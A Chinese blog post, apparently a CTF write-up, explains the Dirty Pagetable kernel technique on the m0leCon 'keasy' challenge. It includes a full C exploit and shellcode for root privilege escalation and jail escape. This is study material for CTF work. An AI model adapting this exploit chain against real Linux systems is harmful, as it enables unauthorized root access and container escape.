Dirty PageTable

前言

Dirty PageTable 是一种针对堆相关漏洞的利用手法,主要就是针对 PTE 进行攻击。

参考文章:
Dirty Pagetable: A Novel Exploitation Technique To Rule Linux Kernel – 该利用方式提出原文

上述文章已经讲的非常清楚了,就是实操写 exp 时存在一些问题?比如:

  • pid uaf 中,如何稳定的控制 struct pid 的分配与释放?如何控制 pid->count 字段的增长?即如何构造 inc 原语?
  • 同理,在 file uaf 中也存在上述问题,但是在 file uaf 中其控制比较简单,打开关闭相应的文件即可。

在其它堆漏洞中,其利用方式也是大同小异的,总的来说步骤如下:

  • 堆喷 obj 并构造 victim obj
  • 释放 objvictim slab 中,使得 victim slabbuddy system 回收
  • 堆喷 pte,使得页表占据 victim slab page
  • 利用 uaf obj 写相关 pte

这里仅仅针对 pid uaffile uaf 做相关记录

file uaf

例题:m0leCon Finals 2023 CTF keasy
参考文章:Understanding Dirty Pagetable - m0leCon Finals 2023 CTF Writeup

文章讲的很清楚了,主要记录下关键点。


漏洞点

static long keasy_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
        long ret = -EINVAL;
        struct file *myfile;
        int fd;

        if (!enabled) {
                goto out;
        }
        enabled = 0;

    myfile = anon_inode_getfile("[easy]", &keasy_file_fops, NULL, 0);

    fd = get_unused_fd_flags(O_CLOEXEC);
    if (fd < 0) {
        ret = fd;
        goto err;
    }

    fd_install(fd, myfile);

        if (copy_to_user((unsigned int __user *)arg, &fd, sizeof(fd))) {
                ret = -EINVAL;
                goto err;
        }

        ret = 0;
    return ret;

err:
    fput(myfile);
out:
        return ret;
}

漏洞在于当 copy_to_user 函数复制失败时,会调用 fput 释放 myfile -- struct file ,但是并没有将其解绑,即没有将 fdmyfile 解绑,所以在释放 myfile 后,还是可以通过 fd 操作 file 结构体从而导致 UAF

注:这里由于没有上锁,所以可以通过 race condition 多次触发,但是这里没有必要。还有就是 fput 的行为是将 file->f_count 减一,只有当 file->f_count 为 0 时,file 才会被释放


如何控制 struct file 的分配与释放:即如何稳定的堆喷 struct file

这个比较简单,打开/关闭文件就可以控制 struct file 的分配/释放


如何堆喷 pte:即如何分配页表页面

利用 mmap 申请大量匿名页面即可;当向访问这些匿名页面时就会在页表项中填充物理地址,即效果就是堆喷 pte,而页表页面的分配也是通过 buddy system 分配的。


如何使得页表页面占据 victim slab page

这里利用 cross cache attack 手法,详细参考CVE-2022-29582 An io_uring vulnerability

  • 先让 buddy system 回收 victim slab
  • 然后堆喷 pte,其会从 buddy system 中分配页表页面,这里就大概率就会拿到 victim slab

效果如下:
1)victim file
在这里插入图片描述
可以看到这里的 file->f_count = 1

2)free victim file
在这里插入图片描述
可以看到这里的 file->f_count = 0

3)spray pte
在这里插入图片描述
这里就变成了 pte 字段

注: 堆喷 pte 时,每次 mmap 8 个页面大小,这里主要是为了让 file->f_count 字段与某个 pte 重合,当然这里大于 8 个页面大小也行。然后这里似乎是刚好与 file 重合,所以小于 8 个页面大小则无法使得 file->f_count 字段与某个 pte 重合。

struct file {
	union {
		struct llist_node	f_llist;
		struct rcu_head 	f_rcuhead;
		unsigned int 		f_iocb_flags;
	};
	struct path				f_path;
	struct inode			*f_inode;	/* cached value */
	const struct file_operations	*f_op;

	/*
	* Protects f_ep, f_flags.
	* Must not be taken from IRQ context.
	*/
	spinlock_t			f_lock;
	atomic_long_t		f_count;
......

可以看到该版本的内核其 file->f_count0x40 位置,当然直接调试也可以看出来


如何构造 inc 原语:即如何增加 file->f_count 的值

原文中采用的方式是使用 dup 系统调用,其会增加 file 的引用计数,但是这里存在一个问题就是每个进程的文件描述符资源是有限的,也就是说不能无限制的增加 file->f_count,然后原文中给出了解决方案:

  • 利用 fork + dup 解决该限制

利用关键点:如何控制用户页表
在上面,我们说了可以利用 fork + dup 来解决 inc 原语的限制,但是有个问题就是我们最终的目的是提权(或拿 flag),所以我们的想法是修改 pte 使得其关联到 kernel _text/_data 段,这样就可以修改程序硬编码提权(比如修改 setresuid 函数,这个在 USMA 中也利用过),但问题是 mmap 的内存区域可能在其下方,所以 inc 原语则无法完成利用,因此我们需要更强大的攻击原语:直接控制用户页表
1)构造页级 UAF【FALSE】
利用 inc 原语使得两个虚拟地址对应同一个物理地址,这里构造比较简单,因为我们是连续 mmap 大量内存页,所以大概率这些内存页是物理连续的,所以利用 inc 原语增加 0x1000、0x2000、0x3000 ...... 即可,效果如下:
在这里插入图片描述
现在 evil pagevictim page 关联同一个物理页,如果我们 munmapvictim page 不就可以释放掉其对应的物理页了吗?这时如果我们可以堆喷其它 obj 占据该物理页,即可完成页级 UAF 的构造。
最简单的想法就是再堆喷 pte 使其占据该物理页,然后就可以利用 evil page 任意修改 pte 了。但是这种方案在原文章中被否定了,理由如下:

The root cause for this is that the physical pages allocated by anonymous mmap() usually come from the MIGRATE_MOVABLE free_area of the memory zone, while user page tables are usually allocated from the MIGRATE_UNMOVABLE free_area of the memory zone.

2)间接控制 pte【TRUE】
然后原文中给出了解决方案:
看看原文咋说的(文章是以 DMA_BUF 为例的):

We know that kernel space and user space need to share some physical pages in some cases. The sharing physical pages are mmaped into kernel space and user space at the same time, so they can be accessed from both spaces. Quite a few components can be used to allocate such sharing pages, such as dma-buf heaps, io_uring, GPUs and etc.

这里建议看原文,就多不说了,主要的内容就是说:分配单个共享页面时,分配 gfp_flagsLOW_ORDER_GFP,即是从 MIGRATE_UNMOVABLE 类型的 free_area 中分配的,并且分配阶 order = 0,这跟页表的分配是契合的,所以结论就是:

The single sharing page and page table are allocated from the same migrate free_cache with the same order.

所以我们可以通过分配单个共享页面,使得这个共享页面与页表页面的物理地址是相邻的。然后我们可以 munmap evil pagevictim pte 空闲出来,然后 mmap 该共享页面使其占据该 victim pte,然后通过 inc 原语即可将共享页面的物理地址设置为页表页面地址,然后即可控制 pte

这里无法调试,因为 gdb 里面好像是无法直接查看物理地址的内容的,所以这里我不知道如何去确认是否堆喷成功。但是看上面的参考文章是可以直接在 gdb 里面查看物理地址的内容的,应该是作者自己写的插件


如何进行提权:在控制 pte 后该如何进行提权(逃逸)
按照上述思路,主要就是通过修改硬编码进行提权?而题目开启了 kaslr 保护,所以对应内核 _text/_data 段的地址并不固定。但是这里我们是直接操作的物理地址,所以得想办法泄漏内核基地址的物理地址。

方案1:利用固定物理地址上残留的页表项地址泄漏内核基物理地址
在参考文章中,其指出:目前在 linux/windows 上仍然存在一些固定的物理地址,其保存着页表地址。

但是这里笔者不知道该固定地址是如何得出的,也没有办法查看,但是事实是确实是正确的。当然如果读者有知道这个方案,希望可以不吝赐教

然后就是逃逸了,由于逃逸不太懂就不说了,具体可以参考该文章,逃逸 shellcode 如下:

  init_cred         	 equ 0x1445ed8
  commit_creds      	 equ 0x00ae620
  find_task_by_vpid 	 equ 0x00a3750
  init_nsproxy     		 equ 0x1445ce0
  switch_task_namespaces equ 0x00ac140
  init_fs                equ 0x1538248
  copy_fs_struct         equ 0x027f890
  kpti_bypass            equ 0x0c00f41

_start:
  endbr64
  call a
a:
  pop r15
  sub r15, 0x24d4c9

  ; commit_creds(init_cred) [3]
  lea rdi, [r15 + init_cred]
  lea rax, [r15 + commit_creds]
  call rax

  ; task = find_task_by_vpid(1) [4]
  mov edi, 1
  lea rax, [r15 + find_task_by_vpid]
  call rax

  ; switch_task_namespaces(task, init_nsproxy) [5]
  mov rdi, rax
  lea rsi, [r15 + init_nsproxy]
  lea rax, [r15 + switch_task_namespaces]
  call rax

  ; new_fs = copy_fs_struct(init_fs) [6]
  lea rdi, [r15 + init_fs]
  lea rax, [r15 + copy_fs_struct]
  call rax
  mov rbx, rax

  ; current = find_task_by_vpid(getpid())
  mov rdi, 0x1111111111111111   ; will be fixed at runtime
  lea rax, [r15 + find_task_by_vpid]
  call rax

  ; current->fs = new_fs [8]
  mov [rax + 0x740], rbx

  ; kpti trampoline [9]
  xor eax, eax
  mov [rsp+0x00], rax
  mov [rsp+0x08], rax
  mov rax, 0x2222222222222222   ; win
  mov [rsp+0x10], rax
  mov rax, 0x3333333333333333   ; cs
  mov [rsp+0x18], rax
  mov rax, 0x4444444444444444   ; rflags
  mov [rsp+0x20], rax
  mov rax, 0x5555555555555555   ; stack
  mov [rsp+0x28], rax
  mov rax, 0x6666666666666666   ; ss
  mov [rsp+0x30], rax
  lea rax, [r15 + kpti_bypass]
  jmp rax

  int3

这里贴个 exp

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>

#define DMA_HEAP_IOCTL_ALLOC 0xc0184800
typedef unsigned long long u64;
typedef unsigned int u32;
struct dma_heap_allocation_data {
  u64 len;
  u32 fd;
  u32 fd_flags;
  u64 heap_flags;
};

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void decc(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %d\n\033[0m", msg, value);
}


void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    system("/bin/sh");

    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

int fd;

void uaf() {
        ioctl(fd, 0, 0xdeadbeef);
}

static void win() {
  char buf[0x100];
  int fd = open("/dev/sda", O_RDONLY);
  if (fd < 0) {
    puts("[-] Lose...");
  } else {
    puts("[+] Win!");
    read(fd, buf, 0x100);
    write(1, buf, 0x100);
    puts("[+] Done");
  }
  getchar();
  exit(0);
}

#define N_FILESPRAY 0x100
#define N_PAGESPRAY (0x200 * 6)

int main(int argc, char** argv, char** envp)
{

        bind_core(0);
        save_status();

        char buf[0x1000];
        int file_spray[N_FILESPRAY];
        void* page_spray[N_PAGESPRAY];
        void* evil_page = NULL;
        void* victim_page = NULL;
        int uaf_fd;
        int dma_buf_fd;
        int dma_heap_fd;

        fd = open("/dev/keasy", O_RDWR);
        if (fd < 0) err_exit("FAILED to open /dev/keasy");

        dma_heap_fd = open("/dev/dma_heap/system", O_RDWR);
        if (dma_heap_fd < 0) err_exit("FAILED to open /dev/dma_heap/system");

        struct dma_heap_allocation_data data;
        data.len = 0x1000;
        data.fd_flags = O_RDWR;
        data.heap_flags = 0;
        data.fd = 0;

        info("Prepare pages for PTE");
        for (int i = 0; i < N_PAGESPRAY; i++) {
                page_spray[i] = mmap((void*)(0xdead0000UL+i*0x10000UL),
                                        0x8000, PROT_READ|PROT_WRITE,
                                        MAP_ANONYMOUS|MAP_SHARED, -1, 0);
                if (page_spray[i] == MAP_FAILED) err_exit("FAILED to mmap many pages");
        }

        info("Spray struct file");
        for (int i = 0; i < N_FILESPRAY / 2; i++) {
                file_spray[i] = open("/", O_RDONLY);
                if (file_spray[i] < 0) err_exit("FAILED to open \"/\" to spray struct file");
        }

        info("Get A UAF FILE");

        uaf_fd = file_spray[N_FILESPRAY / 2 - 1] + 1;
        uaf();
        decc("uaf_fd", uaf_fd);

        info("Spray struct file");
        for (int i = N_FILESPRAY / 2; i < N_FILESPRAY; i++) {
                file_spray[i] = open("/", O_RDONLY);
                if (file_spray[i] < 0) err_exit("FAILED to open \"/\" to spray struct file");
        }

        info("Free struct file to victim slab");
        for (int i = 0; i < N_FILESPRAY; i++) {
                close(file_spray[i]);
        }

        info("Spray PTE to occupy victim slab page");
        for (int i = 0; i < N_PAGESPRAY; i++) {
                if (i == N_PAGESPRAY / 3) {
                        if (ioctl(dma_heap_fd, DMA_HEAP_IOCTL_ALLOC, &data) < 0) {
                                err_exit("DMA_HEAP_IOCTL_ALLOC");
                        }
                        dma_buf_fd = data.fd;
                }
                for (int j = 0; j < 8; j++) {
                        *(uint64_t*)(page_spray[i] + j*0x1000) = page_spray[i] + j*0x1000;
                }
        }

        info("Inc file->f_count to find victim page");
        for (int i = 0; i < 0x1000; i++) {
                if (dup(uaf_fd) < 0) err_exit("FAILED to inc file->f_count");
        }

        info("CHECK to find victim page");
        for (int i = 0; i < N_PAGESPRAY; i++) {
                for (int j = 0; j < 8; j++) {
                        if (*(uint64_t*)(page_spray[i]+j*0x1000) != page_spray[i]+j*0x1000) {
                                evil_page = page_spray[i]+j*0x1000;
                                victim_page = *(uint64_t*)(page_spray[i]+j*0x1000);
                                break;
                        }
                }
        }

        if (evil_page == NULL) err_exit("FAILED to find victim page");
        hexx("evil page addr", evil_page);
        hexx("victim page addr", victim_page);

        info("munmap evil_page to construct page UAF");
        munmap(evil_page, 0x1000);

        void* dma_page = mmap(evil_page, 0x1000, PROT_READ|PROT_WRITE,
                        MAP_SHARED|MAP_POPULATE, dma_buf_fd, 0);

        if (dma_page == MAP_FAILED) err_exit("FAILED to mmap dma_page");

        hexx("dma page addr", dma_page);
        *(uint64_t*)dma_page = 0x4141414141414141;

        info("Inc file->f_coint to hijack pte page");
        for (int i = 0; i < 0x1000; i++) {
                if (dup(uaf_fd) < 0) err_exit("FAILED to inc file->f_count");
        }


        if (((*(uint64_t*)dma_page) & 0xf0000000000000ff) != 0x8000000000000067) {
                puts(dma_page);
                err_exit("FAILED to hijack pte page");
        }

        *(uint64_t*)dma_page = *(uint64_t*)dma_page + 0x1000;
        info("CHECK to find pte page");
        void* pte_page = NULL;
        for (int i = 0; i < N_PAGESPRAY; i++) {
                for (int j = 0; j < 8; j++) {
                        if (*(uint64_t*)(page_spray[i]+j*0x1000) != evil_page) {
                                if (*(uint64_t*)(page_spray[i]+j*0x1000) != page_spray[i]+j*0x1000) {
                                        pte_page = page_spray[i]+j*0x1000;
                                        break;
                                }
                        }
                }
        }

        if (pte_page == NULL) err_exit("FAIED to find pte page");
        hexx("pte page addr", pte_page);

        info("Leak Kernel Base");
        *(uint64_t*)dma_page = 0x800000000009c067;
        uint64_t phys_base = (*(uint64_t*)pte_page & (~0xfff)) - 0x1c04000;
        hexx("physical kernel base", phys_base);

        size_t phys_func = phys_base + 0x24d4c0;
        *(size_t*)dma_page = (phys_func & ~0xfff) | 0x8000000000000067;
        char shellcode[] = {
                        0xf3, 0x0f, 0x1e, 0xfa, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x41, 0x5f, 0x49, 0x81, 0xef, 0xc9,
                        0xd4, 0x24, 0x00, 0x49, 0x8d, 0xbf, 0xd8, 0x5e, 0x44, 0x01, 0x49, 0x8d, 0x87, 0x20, 0xe6,
                        0x0a, 0x00, 0xff, 0xd0, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x49, 0x8d, 0x87, 0x50, 0x37, 0x0a,
                        0x00, 0xff, 0xd0, 0x48, 0x89, 0xc7, 0x49, 0x8d, 0xb7, 0xe0, 0x5c, 0x44, 0x01, 0x49, 0x8d,
                        0x87, 0x40, 0xc1, 0x0a, 0x00, 0xff, 0xd0, 0x49, 0x8d, 0xbf, 0x48, 0x82, 0x53, 0x01, 0x49,
                        0x8d, 0x87, 0x90, 0xf8, 0x27, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xc3, 0x48, 0xbf, 0x11, 0x11,
                        0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x49, 0x8d, 0x87, 0x50, 0x37, 0x0a, 0x00, 0xff, 0xd0,
                        0x48, 0x89, 0x98, 0x40, 0x07, 0x00, 0x00, 0x31, 0xc0, 0x48, 0x89, 0x04, 0x24, 0x48, 0x89,
                        0x44, 0x24, 0x08, 0x48, 0xb8, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x48, 0x89,
                        0x44, 0x24, 0x10, 0x48, 0xb8, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x48, 0x89,
                        0x44, 0x24, 0x18, 0x48, 0xb8, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x48, 0x89,
                        0x44, 0x24, 0x20, 0x48, 0xb8, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x48, 0x89,
                        0x44, 0x24, 0x28, 0x48, 0xb8, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x48, 0x89,
                        0x44, 0x24, 0x30, 0x49, 0x8d, 0x87, 0x41, 0x0f, 0xc0, 0x00, 0xff, 0xe0, 0xcc };
        void *p;
        p = memmem(shellcode, sizeof(shellcode), "\x11\x11\x11\x11\x11\x11\x11\x11", 8);
        *(size_t*)p = getpid();
        p = memmem(shellcode, sizeof(shellcode), "\x22\x22\x22\x22\x22\x22\x22\x22", 8);
        *(size_t*)p = (size_t)&win;
        p = memmem(shellcode, sizeof(shellcode), "\x33\x33\x33\x33\x33\x33\x33\x33", 8);
        *(size_t*)p = user_cs;
        p = memmem(shellcode, sizeof(shellcode), "\x44\x44\x44\x44\x44\x44\x44\x44", 8);
        *(size_t*)p = user_rflags;
        p = memmem(shellcode, sizeof(shellcode), "\x55\x55\x55\x55\x55\x55\x55\x55", 8);
        *(size_t*)p = user_sp;
        p = memmem(shellcode, sizeof(shellcode), "\x66\x66\x66\x66\x66\x66\x66\x66", 8);
        *(size_t*)p = user_ss;

        memcpy(pte_page + (phys_func & 0xfff), shellcode, sizeof(shellcode));
        printf("[+] %d\n", symlink("/jail/x", "/jail"));

        puts("[+] EXP NERVER END");
//      getchar();
        return 0;
}

效果如下:
在这里插入图片描述
问题疑惑
最后的 exp 有点奇怪,当开启 kaslr 时,可以正确读出 flag;但是当关闭 kaslr 时,似乎无法正确执行 symlink,感觉应该是 shellcode 存在一点问题,因为 shellcode 一开始是利用的栈上的数据泄漏的 virtual kernel addr,我感觉开启 kaslr 和没有开启 kaslr 的栈不太一样。

方案2:遍历页表(物理地址)泄漏内核基物理地址
经过思考,笔者认为内核的基物理地址(后面简称基地址)应该位于较低的内存页上,因此我们可以直接往前遍历页表,然后利用基地址对应内存页上的特殊数据作为 TAG 进行 check 是否命中即可。
最后修改的 exp 如下:其它代码都是一样的,就是泄漏 physical kernel base 时,采用的时遍历页表的方式

        info("Leak Kernel Base");
//      *(uint64_t*)dma_page = 0x800000000009c067;
//      uint64_t phys_base = (*(uint64_t*)pte_page & (~0xfff)) - 0x1c04000;

        *(uint64_t*)dma_page = *(uint64_t*)dma_page & (~0xfffff) | 0x8000000000000067;
        uint64_t phys_base;
        for (int i = 0;;i++) {
                *(uint64_t*)dma_page = *(uint64_t*)dma_page - 0x100000;
                if (*(uint64_t*)pte_page == 0x4801403f51258d48) {
                        printf("\033[32mpte: %#llx  NUMBER TAG: %#llx\n\033[0m", *(uint64_t*)dma_page, *(uint64_t*)pte_page);
                        phys_base = (*(uint64_t*)dma_page & (~0xf000000000000fff));
                        break;
                }
                // 如果删除该 printf,关闭 kaslr 时会出现页表解析问题
                printf("pte: %#llx  NUMBER TAG: %#llx\n", *(uint64_t*)dma_page, *(uint64_t*)pte_page);
        }

效果如下:
在这里插入图片描述
可以看到最后也是可以成功泄漏 physical kernel base

问题疑惑
还是对于 kaslr 是否开启的情况,当 kaslr 开启时没啥问题。当 kaslr 关闭时,必须在 leak base 时加上最后的 printf 语句才可能正常执行,否则在遍历页表时会出现页表项解析错误等问题,反正归功于玄学就对了。当然这里也说明了方案1中关闭 kaslr 出错的原因不是 shellcode 的问题,而是没有正确的泄漏 physical kernel base


总结
个人觉得遍历页表泄漏 physical kernel base 的方式更直观和容易理解,主要是对于固定的物理地址去泄漏这个方案,gdb 中是无法查看物理地址的,所以我也不知道最后泄漏出来的页表项地址与 physical kernel base 的偏移是怎么算出来的。
对了,在关闭 kaslr 时,测试发现 physical kernel base 固定为 0x1000000
终极大疑问
kalsr 不是随机化的虚拟地址吗?跟物理地址有啥关系?为啥关闭 kaslr 时, physical kernel base 是固定的呢?
我的解释是:这里虚拟基地址应该在 DMA 区域,所以虚拟地址和物理地址直接只是相差一个偏移,所以虚拟地址和物理地址理论上是绑定的,即:virt_addr - offset = phys_addr,而 offset 是固定的。所以当关闭 kaslr 时,virt_addr 是不变的,所以 phys_addr 也是不变的,这也解释了为啥在关闭 kaslr 时,测试发现 physical kernel base 固定为 0x1000000 ;而开启 kaslr 时,每次泄漏的 physical kernel base 是不同的也就可以解释了。

pid uaf

todo

  • 11
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值